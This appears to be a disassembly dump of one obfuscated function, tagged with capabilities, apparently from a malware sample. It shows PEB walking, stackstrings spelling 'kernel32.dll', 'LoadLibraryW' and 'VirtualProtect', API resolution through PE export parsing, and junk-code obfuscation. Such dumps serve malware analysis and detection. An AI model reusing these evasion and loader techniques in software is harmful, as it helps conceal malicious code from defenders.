Function at 0x435104
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push esi
push ecx
add esp, 4
xor esi, 0x9549
jmp 0x434deb
xor esi, 0x13c37
pop esi
push ebx
add ebx, 0xddb7
pop ebx
push ebx
xor ebx, 0xccc8
pop ebx
push ecx
and ecx, 0x8c77
pop ecx
cmp dword [ebp - 0x14d4], 0
jne 0x434e22
mov dword [ebp - 0x2e0], 0
jmp 0x4350de
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push eax
push edx
add esp, 4
add eax, 0xb0d8
pop eax
push edx
and edx, 0x17250
add edx, 0x12f57
call 0x434e5c
add byte [edx], dh
cmp ecx, dword [edx + 0x3f]
push eax
inc ecx
dec esp
inc esp
push eax
add esp, 4
sub edx, 0x32fb
pop edx
cmp dword [ebp - 0xc20], 0
jne 0x434e7e
mov dword [ebp - 0x2e0], 0
jmp 0x4350de
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push ebx
xor ebx, 0x16e65
pop ebx
push edx
jmp 0x434e9b
or edx, 0x17eb
jmp 0x434ea8
pop edx
push esi
jmp 0x434eaf
sub esi, 0x4ad2
xor esi, 0x38af
pop esi
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push ebx
push edi
add esp, 4
and ebx, 0x57e4
add ebx, 0x15f6c
pop ebx
push eax
push ebx
add esp, 4
and eax, 0x7028
sub eax, 0x9f78
pop eax
push edi
add edi, 0xda47
or edi, 0x70
pop edi
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push eax
xor eax, 0x11aee
pop eax
push ecx
call 0x434f8b
add byte [ecx + edi + 0x48], al
cmp bh, byte [ebx + edi]
dec ebx
add esp, 4
pop ecx
push ecx
push edx
add esp, 4
or ecx, 0x11cb6
and ecx, 0x16ebc
xor ecx, 0x16b74
pop ecx
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x434fca
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x43502d
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x434ee9
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x434ee9
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x435017
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x435021
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x435076
push ebx
push edi
add esp, 4
and ebx, 0x44e2
xor ebx, 0x5c2c
pop ebx
push ebx
sub ebx, 0x9dd2
add ebx, 0xff20
call 0x435064
add byte [edi + 0x3d], cl
inc edx
inc ebx
dec ebp
inc edi
inc eax
push eax
xor eax, dword [ebx - 0x74a4fb3c]
test dword [ebx + edi*8], ebp
invalid
push esi
push edx
add esp, 4
call 0x435089
add byte [esi + 0x39], al
dec edx
inc edx
cmp cl, byte [ecx + 0x3f]
cmp al, 0x83
les eax, [eax + ebp*8]
pop es
add byte [eax], al
add byte [eax], al
aaa
cmp al, byte [edi + 0x4a]
inc edx
inc ebp
add esp, 4
xor esi, 0xa66b
add esi, 0x10b6a
pop esi
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x4350d4
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x434e8a
mov dword [ebp - 0x2e0], 0
push eax
push ebx
add esp, 4
add eax, 0x53a8
xor eax, 0x5a7c
jmp 0x4350f4
call fcn.00435104
add byte [esi], bh
dec ebp
cmp eax, 0x47464f3a
cmp dword ss:[edx - 0x7d], eax
add esp, 4
pop eax
push esi
add esi, 0x120fd
pop esi
cmp dword [ebp - 0x2e0], 0
jne 0x435a29
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push ebx
or ebx, 0xa075
jmp 0x4351c5
pop ebx
push ebx
sub ebx, 0x9198
pop ebx
push edi
push esi
add esp, 4
xor edi, 0x12893
pop edi
push esi
add esi, 0x17f83
or esi, 0x165cd
pop esi
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push ecx
push edi
add esp, 4
xor ecx, 0x10279
and ecx, 0x120f6
sub ecx, 0x11964
pop ecx
push esi
add esi, 0x1535e
sub esi, 0x21f7
pop esi
push ecx
push eax
add esp, 4
sub ecx, 0x16adc
pop ecx
cmp dword [ebp - 0x14dc], 0
jne 0x4352b4
mov dword [ebp - 0x6ec], 0
jmp 0x435570
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push ebx
push esi
add esp, 4
add ebx, 0x4a48
pop ebx
push ebx
push edi
add esp, 4
jmp 0x4352e0
xor ebx, 0xd591
call 0x4352f4
add byte [esi], dh
inc esi
inc edx
xor dh, byte [edx]
cmp al, 0x40
inc ebx
add esp, 4
pop ebx
cmp dword [ebp - 0xc2c], 0
jne 0x435310
mov dword [ebp - 0x6ec], 0
jmp 0x435570
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push eax
push edi
add esp, 4
sub eax, 0xe4a4
pop eax
push edi
sub edi, 0x17d2a
and edi, 0x8fa
sub edi, 0x3bfb
or edi, 0x5691
pop edi
push ebx
push ebx
add esp, 4
sub ebx, 0xccbf
pop ebx
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push esi
push ecx
add esp, 4
and esi, 0xb8e1
pop esi
push esi
and esi, 0x150b3
pop esi
push ecx
push edi
add esp, 4
jmp 0x43539a
and ecx, 0x1362
pop ecx
push eax
push edi
add esp, 4
add eax, 0x5605
pop eax
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push eax
push esi
add esp, 4
add eax, 0x31ba
call 0x435422
add byte [esi], bh
dec esp
cmp dh, byte [0x3f474447]
xor eax, 0x4c48350
call 0x435435
add byte [edi + 0x3a], cl
dec edx
inc eax
dec ecx
inc ebx
dec esp
dec edx
cmp eax, dword [ebx + 0xf5804c4]
mov bh, 0x85
cld
invalid
push ecx
and ecx, 0x285e
or ecx, 0x4fc0
or ecx, 0xfb1a
pop ecx
push ebx
push edi
add esp, 4
and ebx, 0x16813
add ebx, 0xf2c8
pop ebx
push esi
push edi
add esp, 4
xor esi, 0x431a
pop esi
cmp dword [ebp - 0x6ec], 0
jne 0x4355ec
push edx
push esi
add esp, 4
xor edx, 0x7041
and edx, 0x13713
and edx, 0x87d1
pop edx
push ecx
and ecx, 0x3ac5
add ecx, 0xd71f
or ecx, 0x50e5
jmp 0x4355dc
pop ecx
mov dword [ebp - 0x738], 0
jmp 0x436113
push esi
push ecx
add esp, 4
and esi, 0x7741
pop esi
push eax
push eax
add esp, 4
and eax, 0x143ea
jmp 0x435609
pop eax
push ecx
xor ecx, 0x14bad
or ecx, 0xafc9
xor ecx, 0x58cf
pop ecx
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x43565d
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x43594e
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x435685
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x43594e
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x4356b7
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x43594e
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x4356dc
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x43594e
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x435736
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x435942
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x4357a6
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x435858
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x435858
push esi
push eax
add esp, 4
or esi, 0x9c4d
or esi, 0x11014
pop esi
push eax
push ebx
add esp, 4
jmp 0x4357f2
add eax, 0xbc4d
pop eax
push ebx
push esi
add esp, 4
add ebx, 0xebae
pop ebx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x43584a
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x435851
jmp 0x435797
jmp 0x435858
push esi
jmp 0x43585f
or esi, 0xa687
and esi, 0xf8f2
pop esi
push edx
push edx
add esp, 4
or edx, 0x82a7
xor edx, 0x82df
and edx, 0x4c17
add edx, 0xa3ed
pop edx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x4358b7
mov dword [ebp - 0xc30], 0
jmp 0x435926
push ecx
push ebx
add esp, 4
sub ecx, 0xa0a6
pop ecx
push edx
and edx, 0xfde5
pop edx
push edi
push ecx
add esp, 4
xor edi, 0xa773
or edi, 0x12268
add edi, 0x3cb7
add edi, 0x7e89
pop edi
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x43591c
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x435926
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x43593d
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x43594e
jmp 0x435727
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x435a29
add byte [eax], al
push eax
push edi
add esp, 4
xor eax, 0x112dd
add eax, 0x58fa
pop eax
push ebx
xor ebx, 0x636
pop ebx
push esi
push esi
add esp, 4
and esi, 0x12c9e
add esi, 0xae8c
xor esi, 0xca7b
pop esi
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push ebx
call 0x4359a9
add byte [ecx + 0x43], al
dec edi
inc ecx
dec ecx
inc ebp
dec eax
xor eax, 0x8104c483
jecxz 0x435959
push ss
add byte [eax], al
pop ebx
push esi
push edx
add esp, 4
sub esi, 0x49c6
pop esi
push edi
push ecx
add esp, 4
xor edi, 0x3b5b
pop edi
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x435a29
push ecx
push ecx
add esp, 4
call 0x4359fc
add byte [0x324a393a], dh
dec ecx
dec ebp
inc edi
inc esi
add esp, 4
xor ecx, 0x17de8
pop ecx
push edi
call 0x435a16
add byte [esp + edi], dh
dec ebx
cmp byte [edx + 0x4d], al
dec ebx
xor ecx, dword [ecx - 0x7d]
les eax, [edi + ebx*2]
mov dword [ebp - 0x738], 0
jmp 0x436113
push ebx
push edi
add esp, 4
call 0x435a3a
add byte [esi + 0x3f], al
cmp al, 0x44
inc ecx
add esp, 4
xor ebx, 0xcc8a
pop ebx
push edx
push eax
add esp, 4
add edx, 0xb826
pop edx
push esi
push edx
add esp, 4
jmp 0x435a5a
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push edi
sub edi, 0xfa5d
xor edi, 0x45db
and edi, 0x8349
add edi, 0x3b05
pop edi
push edx
push esi
add esp, 4
sub edx, 0x60cc
or edx, 0x17a8e
xor edx, 0x16d80
pop edx
cmp dword [ebp - 0x14f4], 0
jne 0x435acc
mov dword [ebp - 0x2e0], 0
jmp 0x435d73
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push eax
push eax
add esp, 4
jmp 0x435aeb
xor eax, 0x4f5
pop eax
push edi
push ecx
add esp, 4
jmp 0x435afd
and edi, 0xea2
and edi, 0x14ee0
xor edi, 0x114f2
pop edi
cmp dword [ebp - 0xc3c], 0
jne 0x435b28
mov dword [ebp - 0x2e0], 0
jmp 0x435d73
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push edx
or edx, 0x76d3
add edx, 0xb5ae
pop edx
push ecx
push edi
add esp, 4
jmp 0x435b4d
add ecx, 0x177da
add ecx, 0x28e9
pop ecx
push eax
push esi
add esp, 4
and eax, 0x17944
pop eax
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push edx
push esi
add esp, 4
xor edx, 0x16289
pop edx
push eax
or eax, 0xcb7b
call 0x435bb1
add byte [esi + 0x3c], cl
dec edi
cmp dh, byte [edi]
xor eax, 0xc4834740
add al, 0xeb
add eax, 0x46364a44
dec esi
or eax, 0xeefd
pop eax
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push eax
and eax, 0xc38f
or eax, 0xda0f
call 0x435c35
add byte [eax + 0x3b], al
dec ebp
dec edx
inc eax
inc eax
dec ebp
cmp eax, 0x4c48332
pop eax
push ecx
jmp 0x435c3f
jmp 0x435c44
add ecx, 0xae11
pop ecx
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x435c68
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x435cc2
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x435b90
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x435b90
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x435cac
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x435cb6
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x435d0b
push edx
push eax
add esp, 4
or edx, 0xc647
jmp 0x435cde
xor edx, 0x908
pop edx
push eax
jmp 0x435ced
call 0x435cf9
add byte [edi + 0x4b], cl
xor al, 0x34
cmp esi, dword [0x5804c483]
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x435d73
push ecx
push edx
add esp, 4
and ecx, 0x12e3
or ecx, 0xb083
pop ecx
push ebx
push eax
add esp, 4
or ebx, 0x18419
pop ebx
push esi
and esi, 0x365c
sub esi, 0x43c8
add esi, 0x4cbe
pop esi
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x435d69
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x435b34
mov dword [ebp - 0x2e0], 0
push edi
push edi
add esp, 4
and edi, 0xd610
pop edi
push ebx
push eax
add esp, 4
or ebx, 0xa7fd
pop ebx
push edx
xor edx, 0x1073a
pop edx
push ecx
push edi
add esp, 4
xor ecx, 0x145d7
or ecx, 0x1274
pop ecx
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push eax
jmp 0x435dbe
pop eax
push ecx
xor ecx, 0x10fa2
xor ecx, 0x783a
and ecx, 0x10da3
call 0x435de2
add byte [edx], bh
dec ebx
dec ebp
aaa
inc eax
inc edi
xor al, byte [ebx + 0x3d]
add esp, 4
pop ecx
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x435e16
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x436107
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x435e3e
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x436107
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x435e70
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x436107
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x435e95
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x436107
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x435eef
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x4360fb
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x435f5f
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x436011
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x436011
push edi
and edi, 0xf1a0
or edi, 0x9d6c
pop edi
push edi
push ebx
add esp, 4
jmp 0x435fa8
call 0x435fb4
add byte [esi], dh
aaa
dec esi
dec esp
dec esp
dec ecx
add esp, 4
add edi, 0x10d4d
pop edi
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x436003
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x43600a
jmp 0x435f50
jmp 0x436011
push edx
push ecx
add esp, 4
xor edx, 0x9b43
sub edx, 0x11f6b
pop edx
push esi
push edi
add esp, 4
sub esi, 0xd67
pop esi
push eax
push esi
add esp, 4
xor eax, 0xd99c
pop eax
push edi
and edi, 0xd5fc
pop edi
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x436070
mov dword [ebp - 0xc40], 0
jmp 0x4360df
push ecx
push edi
add esp, 4
sub ecx, 0x12615
add ecx, 0x145b1
pop ecx
push edx
xor edx, 0x89a6
jmp 0x436092
or edx, 0x1480e
jmp 0x4360a1
pop edx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x4360d5
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x4360df
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x4360f6
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x436107
jmp 0x435ee0
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push ecx
add ecx, 0x9de8
add ecx, 0x183a0
or ecx, 0xc493
pop ecx
push ecx
push edi
add esp, 4
xor ecx, 0xba87
and ecx, 0xa424
xor ecx, 0x17ba6
and ecx, 0x15cb2
pop ecx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push eax
jmp 0x43615a
or eax, 0x69ae
pop eax
push ebx
or ebx, 0x83c3
or ebx, 0x3846
sub ebx, 0xbd81
call 0x436182
add byte [esi], bh
inc eax
cmp dword [ecx + 0x41], eax
xor edi, dword [ecx]
dec eax
add esp, 4
pop ebx
cmp dword [ebp - 0x3cc], 0
je 0x436198
cmp dword [ebp - 0xa5c], 0
jne 0x4361de
push ecx
xor ecx, 0x8f7f
call 0x4361ac
add byte [ebx + eax*2 + 0x45], al
dec edi
push eax
cmp dword [ebx + eax*4 - 0x3c], eax
add al, 0x81
ror edx, 0x54
add byte [eax], al
pop ecx
push ebx
sub ebx, 0x4b9a
add ebx, 0x4864
or ebx, 0x2bee
pop ebx
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push edi
and edi, 0x36b7
add edi, 0x1423f
pop edi
push eax
push eax
add esp, 4
or eax, 0x12820
sub eax, 0x82e8
sub eax, 0xcf10
pop eax
push edi
push ebx
add esp, 4
or edi, 0x9605
pop edi
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push ebx
push ecx
add esp, 4
and ebx, 0x169f
pop ebx
push edx
push eax
add esp, 4
or edx, 0x12afa
jmp 0x436262
or edx, 0x677b
sub edx, 0xa4fd
pop edx
push edi
sub edi, 0xb7ad
pop edi
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push edx
and edx, 0x5b3e
and edx, 0x91ad
sub edx, 0x13142
pop edx
push ebx
push eax
add esp, 4
and ebx, 0x15410
add ebx, 0x13ac
xor ebx, 0xba52
add ebx, 0x1d98
pop ebx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push edi
jmp 0x436340
sub edi, 0x16550
call 0x436356
add byte [esi], bh
cmp eax, 0x3b35353f
xor al, 0x35
dec edx
add esp, 4
call 0x436367
add byte [edx], dh
inc esi
